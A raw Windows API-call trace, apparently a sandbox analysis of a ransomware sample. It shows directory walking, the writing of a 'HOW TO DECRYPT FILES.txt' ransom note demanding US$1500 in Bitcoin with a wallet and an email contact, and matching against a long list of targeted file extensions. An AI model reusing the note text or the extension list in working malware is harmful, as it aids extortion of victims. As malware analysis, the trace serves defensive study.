lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC") returned 64 [0109.568] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x252cf696, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x252cf696, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0109.569] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.569] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x252cf696, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x252cf696, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.569] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.569] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.569] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x252cf696, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x252cf696, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="692d1ed105277febf1550c93d00cd202", cAlternateFileName="692D1E~1")) returned 1 [0109.569] lstrcmpA (lpString1=".", lpString2="692d1ed105277febf1550c93d00cd202") returned -1 [0109.569] lstrcmpA (lpString1="..", lpString2="692d1ed105277febf1550c93d00cd202") returned -1 [0109.569] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\*.*") returned="*.*" [0109.569] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\", lpString2="692d1ed105277febf1550c93d00cd202" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202" [0109.569] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202") returned 97 [0109.570] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x252cf696, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x252cf696, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.584] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.584] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x252cf696, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x252cf696, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.584] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.584] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.584] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24cb5e2b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24cb5e2b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24cdbf8b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualC.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.585] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.585] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualC.ni.dll") returned -1 [0109.585] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualC.ni.dll") returned -1 [0109.585] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualC.ni.dll") returned -1 [0109.585] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\*.*") returned="*.*" [0109.585] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\" [0109.585] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\") returned="" [0109.585] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\HOW TO DECRYPT FILES.txt" [0109.585] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualc\\692d1ed105277febf1550c93d00cd202\\how to decrypt files.txt")) returned 0xffffffff [0109.585] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualc\\692d1ed105277febf1550c93d00cd202\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.586] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.586] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.588] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.588] CloseHandle (hObject=0x90) returned 1 [0109.588] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\", lpString2="Microsoft.VisualC.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll" [0109.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.ems") returned 0 [0109.588] lstrlenA (lpString="*.ems") returned 5 [0109.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.db") returned 0 [0109.588] lstrlenA (lpString="*.db") returned 4 [0109.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.dbf") returned 0 [0109.588] lstrlenA (lpString="*.dbf") returned 5 [0109.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.myox") returned 0 [0109.588] lstrlenA (lpString="*.myox") returned 6 [0109.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.myo") returned 0 [0109.589] lstrlenA (lpString="*.myo") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qbw") returned 0 [0109.589] lstrlenA (lpString="*.qbw") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qbb") returned 0 [0109.589] lstrlenA (lpString="*.qbb") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qbm") returned 0 [0109.589] lstrlenA (lpString="*.qbm") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qbo") returned 0 [0109.589] lstrlenA (lpString="*.qbo") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qbx") returned 0 [0109.589] lstrlenA (lpString="*.qbx") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qba") returned 0 [0109.589] lstrlenA (lpString="*.qba") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qby") returned 0 [0109.589] lstrlenA (lpString="*.qby") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qbj") returned 0 [0109.589] lstrlenA (lpString="*.qbj") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.ofx") returned 0 [0109.589] lstrlenA (lpString="*.ofx") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.qif") returned 0 [0109.589] lstrlenA (lpString="*.qif") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mye") returned 0 [0109.589] lstrlenA (lpString="*.mye") returned 5 [0109.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mbox") returned 0 [0109.590] lstrlenA (lpString="*.mbox") returned 6 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.eml") returned 0 [0109.590] lstrlenA (lpString="*.eml") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.pst") returned 0 [0109.590] lstrlenA (lpString="*.pst") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.ost") returned 0 [0109.590] lstrlenA (lpString="*.ost") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.idx") returned 0 [0109.590] lstrlenA (lpString="*.idx") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.dbx") returned 0 [0109.590] lstrlenA (lpString="*.dbx") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.sql") returned 0 [0109.590] lstrlenA (lpString="*.sql") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mdb") returned 0 [0109.590] lstrlenA (lpString="*.mdb") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.fdb") returned 0 [0109.590] lstrlenA (lpString="*.fdb") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.wab") returned 0 [0109.590] lstrlenA (lpString="*.wab") returned 5 [0109.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.dat") returned 0 [0109.590] lstrlenA (lpString="*.dat") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.txt") returned 0 [0109.591] lstrlenA (lpString="*.txt") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.jpeg") returned 0 [0109.591] lstrlenA (lpString="*.jpeg") returned 6 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.jpg") returned 0 [0109.591] lstrlenA (lpString="*.jpg") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.png") returned 0 [0109.591] lstrlenA (lpString="*.png") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.php") returned 0 [0109.591] lstrlenA (lpString="*.php") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.cs") returned 0 [0109.591] lstrlenA (lpString="*.cs") returned 4 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.cpp") returned 0 [0109.591] lstrlenA (lpString="*.cpp") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.rar") returned 0 [0109.591] lstrlenA (lpString="*.rar") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.zip") returned 0 [0109.591] lstrlenA (lpString="*.zip") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.html") returned 0 [0109.591] lstrlenA (lpString="*.html") returned 6 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.htm") returned 0 [0109.591] lstrlenA (lpString="*.htm") returned 5 [0109.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.xlsx") returned 0 [0109.592] lstrlenA (lpString="*.xlsx") returned 6 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.xls") returned 0 [0109.592] lstrlenA (lpString="*.xls") returned 5 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mp4") returned 0 [0109.592] lstrlenA (lpString="*.mp4") returned 5 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.ppt") returned 0 [0109.592] lstrlenA (lpString="*.ppt") returned 5 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.pptx") returned 0 [0109.592] lstrlenA (lpString="*.pptx") returned 6 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.doc") returned 0 [0109.592] lstrlenA (lpString="*.doc") returned 5 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.dot") returned 0 [0109.592] lstrlenA (lpString="*.dot") returned 5 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.docx") returned 0 [0109.592] lstrlenA (lpString="*.docx") returned 6 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.7z") returned 0 [0109.592] lstrlenA (lpString="*.7z") returned 4 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.tar") returned 0 [0109.592] lstrlenA (lpString="*.tar") returned 5 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.bz2") returned 0 [0109.592] lstrlenA (lpString="*.bz2") returned 5 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.gz") returned 0 [0109.592] lstrlenA (lpString="*.gz") returned 4 [0109.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mkv") returned 0 [0109.592] lstrlenA (lpString="*.mkv") returned 5 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.eml") returned 0 [0109.593] lstrlenA (lpString="*.eml") returned 5 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.msg") returned 0 [0109.593] lstrlenA (lpString="*.msg") returned 5 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.edb") returned 0 [0109.593] lstrlenA (lpString="*.edb") returned 5 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.accdb") returned 0 [0109.593] lstrlenA (lpString="*.accdb") returned 7 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.odb") returned 0 [0109.593] lstrlenA (lpString="*.odb") returned 5 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.java") returned 0 [0109.593] lstrlenA (lpString="*.java") returned 6 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.asm") returned 0 [0109.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.pfx") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.pem") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.p12") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.gpg") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.vsd") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.odg") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.raw") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.nef") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.svg") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.psd") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.vmx") returned 0 [0109.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.vmdk") returned 0 [0109.595] PathMatchSpecA 